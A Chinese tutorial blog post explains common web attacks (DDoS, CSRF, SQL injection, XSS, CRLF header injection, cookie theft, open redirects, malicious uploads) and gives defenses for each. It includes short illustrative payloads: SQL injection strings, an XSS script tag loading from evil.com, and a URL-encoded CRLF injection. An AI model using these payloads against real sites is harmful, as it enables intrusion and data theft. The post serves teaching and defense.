浅谈常用的几种web攻击方式

一、Distributed Denial of Service （DDoS， 分布式拒绝服务）

是一种针对服务器的能够让服务器呈现静止状态的攻击方式。有时候也加服务停止攻击或拒绝服务攻击。其原理就是发送大量的合法请求到服务器，服务器无法分辨这些请求是正常请求还是攻击请求，所以都会照单全收。海量的请求会造成服务器停止工作或拒绝服务的状态。这就是Dos攻击。

举个简单的例子，老郑家面馆生意红火，突然有一天一群小混混进了点，霸占了座位，只闲聊不点菜，结果坐在店里的人不吃面，想吃面的人进不来，导致老郑无法向正常客户服务。

而 DDoS 攻击就是将多个计算机联合起来一同向目标发起攻击，从而成倍地提高拒绝服务攻击的威力。

在技术角度上，DDoS攻击可以针对网络通讯协议的各层，手段大致有：TCP类的SYN Flood、ACK Flood，UDP类的Fraggle、Trinoo，DNS Query Flood，ICMP Flood，Slowloris类、各种社工方式等等，这些技术这里不做详细解释。但是一般会根据攻击目标的情况，针对性的把技术手法混合，以达到最低的成本最难防御的目的，并且可以进行合理的节奏控制，以及隐藏保护攻击资源。

阿里巴巴的安全团队在实战中发现，DDoS 防御产品的核心是检测技术和清洗技术。检测技术就是检测网站是否正在遭受 DDoS 攻击，而清洗技术就是清洗掉异常流量。而检测技术的核心在于对业务深刻的理解， 才能快速精确判断出是否真的发生了 DDoS 攻击。清洗技术对检测来讲，不同的业务场景下要求的粒度不一样。

二、跨站点请求伪造（CSRF，Cross-Site Request Forgeries）

是指攻击者通过已经设置好的陷阱，强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态的更新。属于被动攻击。更简单的理解就是攻击者盗用了你的名义，以你的名义发送了请求。

　　一个CSRF最简单的例子就是用户A登录了网站A在虚拟账户里转账了1000块钱，用户A在本地生成了网站A的cookie，用户A在没有关闭网站A的情况下有访问了恶意网站B，恶意网站B包含请求A网站的代码，利用了本地的cookie经过身份验证的身份又向网站A发送了一次请求，这时你就会发现你在网站A的账户又少了1000块。这就是基本的CSRF攻击方式。

解决的思路有:

1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难，攻击者往往需要借助JavaScript才能实现

2.对请求进行认证，确保该请求确实是用户本人填写表单并提交的，而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人

• 检查标准头部，确认请求是否同源： 检查 source origin 和 target origin，然后比较两个值是否匹配

• 检查 CSRF Token： 主要有四种推荐的方式

o Synchronizer Tokens： 在表单里隐藏一个随机变化的 token，每当用户提交表单时，将这个 token 提交到后台进行验证，如果验证通过则可以继续执行操作。这种情况有效的主要原因是网站 B 拿不到网站 A 表单里的 token;

o Double Cookie Defense： 当向服务器发出请求时，生成一个随机值，将这个随机值既放在 cookie 中，也放在请求的参数中，服务器同时验证这两个值是否匹配；

o Encrypted Token Pattern： 对 token 进行加密

o Custom Header： 使用自定义请求头部，这个方式依赖于同源策略。其中最适合的自定义头部便是： "X-Requested-With: XMLHttpRequest"

三、SQL Injection （SQL 注入）

是指通过对web连接的数据库发送恶意的SQL语句而产生的攻击，从而产生安全隐患和对网站的威胁，可以造成逃过验证或者私密信息泄露等危害。

　　SQL注入的原理是通过在对SQL语句调用方式上的疏漏，恶意注入SQL语句。

　　SQL注入常见的两个例子：

　　　　1、私密信息泄露

　　　　　　　假如一个出版书籍的网站，具有根据作者姓名查询已出版书籍的功能，作者未出版的书籍不能被普通用户看到，因为版权属于隐私的问题。那么假设请求是用HTTP的GET请求来完成的，其地址栏请求内容为：www.book.com?serach=echo

　　　　　　　完成此功能的SQL语句为简单的根据条件查找：select * from book where author = 'echo' and flag = 1; flag等于1代表书籍已出版。

　　　　　　　这时如果有的用户直接地址栏里输入www.book.com?serach=echo'-- 这样请求会发生什么？？

　　　　　　　这样的请求传到服务器里的状态会是这样子的 select * from book where author = 'echo' -- and flag = 1;在SQL语句中 --代表注释，会自动忽略掉后面的内容，所以这个请求是骗过服务器把作者为echo的已出版和未出版的书籍全部显示在网页上。造成网站违背开发者的意图，造成信息泄露。

例子：

uname = request.POST['username']

password = request.POST['password']

sql = "SELECT all FROM users WHERE username='" + uname + "' AND password='" + password + "'"

database.execute(sql)

上面这段程序直接将客户端传过来的数据写入到数据库。试想一下，如果用户传入的 password 值是： "password’ OR 1=1"，那么 sql 语句便会变成：

sql = "SELECT all FROM users WHERE username='username' AND password='password' OR 1=1"

怎样预防：

• Prepared Statements (with Parameterized Queries)： 参数化的查询语句可以强制应用开发者首先定义所有的 sql 代码，之后再将每个参数传递给查询语句

• Stored Procedures： 使用语言自带的存储程序，而不是自己直接操纵数据库

• White List Input Validation： 验证用户的输入

• Escaping All User Supplied Input： 对用户提供的所有的输入都进行编码

四、XSS攻击（Cross-Site scripting）

跨站脚本攻击（XSS，Cross-site scripting）缩写明显是 CSS 啊？没错，为了防止与我们熟悉的 CSS（Cascading Style Sheets）混淆，所以干脆更名为 XSS。XSS是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时，特定的脚本就会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息，以及造成其它类型的攻击，例如CSRF攻击。

举个例子：

原有的网站有个将数据库中的数据显示到页面的上功能，document.write("data from server")。但如果服务器没有验证数据类型，直接接受任何数据时，攻击者可以会将 <script src='http:bad-script.js'></scirpt> 当做一个数据写入数据库。当其他用户请求这个数据时，网站原有的脚本就会执行 document.write("<script src=' evil.com/bad-script.js '></scirpt>")，这样，便会执行 bad-script.js。如果攻击者在这段第三方的脚本中写入恶意脚本，那么普通用户便会受到攻击。

XSS 主要有三种类型：

1、存储型 XSS： 注入的脚本永久的存在于目标服务器上，每当受害者向服务器请求此数据时就会重新唤醒攻击脚本；

2、反射型 XSS： 当用受害者被引诱点击一个恶意链接，提交一个伪造的表单，恶意代码便会和正常返回数据一起作为响应发送到受害者的浏览器，从而骗过了浏览器，使之误以为恶意脚本来自于可信的服务器，以至于让恶意脚本得以执行。

3、DOM 型 XSS： 有点类似于存储型 XSS，但存储型 XSS 是将恶意脚本作为数据存储在服务器中，每个调用数据的用户都会受到攻击。但 DOM 型 XSS 则是一个本地的行为，更多是本地更新 DOM 时导致了恶意脚本执行。

常见解决办法:

确保输出到HTML页面的数据以HTML的方式被转义

• 从客户端和服务器端双重验证所有的输入数据，这一般能阻挡大部分注入的脚本

• 对所有的数据进行适当的编码

• 设置 HTTP Header： "X-XSS-Protection: 1"

出错的页面的漏洞也可能造成XSS攻击.比如页面/gift/giftList.htm?page=2找不到,出错页面直接把该url原样输出,如果攻击者在url后面加上攻击代码发给受害者,就有可能出现XSS攻击

五、Http Heads攻击

凡是用浏览器查看任何WEB网站，无论你的WEB网站采用何种技术和框架，都用到了HTTP协议.HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到headers中，这种攻击就可以发生

以登陆为例:有这样一个url:

http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex

当登录成功以后，需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.

HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://localhost/index

假如把URL修改一下，变成这个样子：

http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E

那么重定向发生时的reponse会变成下面的样子：

HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://localhost/checkout<CRLF>

<CRLF>

<script>alert('hello')</script>

这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向（Location header）上，也有可能发生在其它headers中，如Set-Cookie header。这种攻击如果成功的话，可以做很多事，例如：执行脚本、设置额外的cookie（<CRLF>Set-Cookie: evil=value）等。

避免这种攻击的方法：

过滤所有的response headers，除去header中出现的非法字符，尤其是CRLF。

服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K，Aapche Server将会返回400 Bad Request响应：

对于大多数情况，8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写，减少因header过大而产生的拒绝访问攻击

六、Cookie攻击

通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站，然后在浏览器地址栏中输入：javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie（如果有的话）。攻击者可以利用这个特性来取得你的关键信息。例如，和XSS攻击相配合，攻击者在你的浏览器上执行特定的java Script脚本，取得你的cookie。假设这个网站仅依赖cookie来验证用户身份，那么攻击者就可以假冒你的身份来做一些事情。

现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记，就会大大增强cookie的安全性

七、重定向攻击

一种常用的攻击手段是“钓鱼”。钓鱼攻击者，通常会发送给受害者一个合法链接，当链接被点击时，用户被导向一个似是而非的非法网站，从而达到骗取用户信任、窃取用户资料的目的。为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.常见解决方案是白名单,将合法的要重定向的url加到白名单中,非白名单上的域名重定向时拒之,第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.

八、上传文件攻击

1.文件名攻击,上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.

2.文件后缀攻击.上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.

3.文件内容攻击.IE6有一个很严重的问题 , 它不信任服务器所发送的content type，而是自动根据文件内容来识别文件的类型，并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除，而是必须扫描其文件内容，才能识别。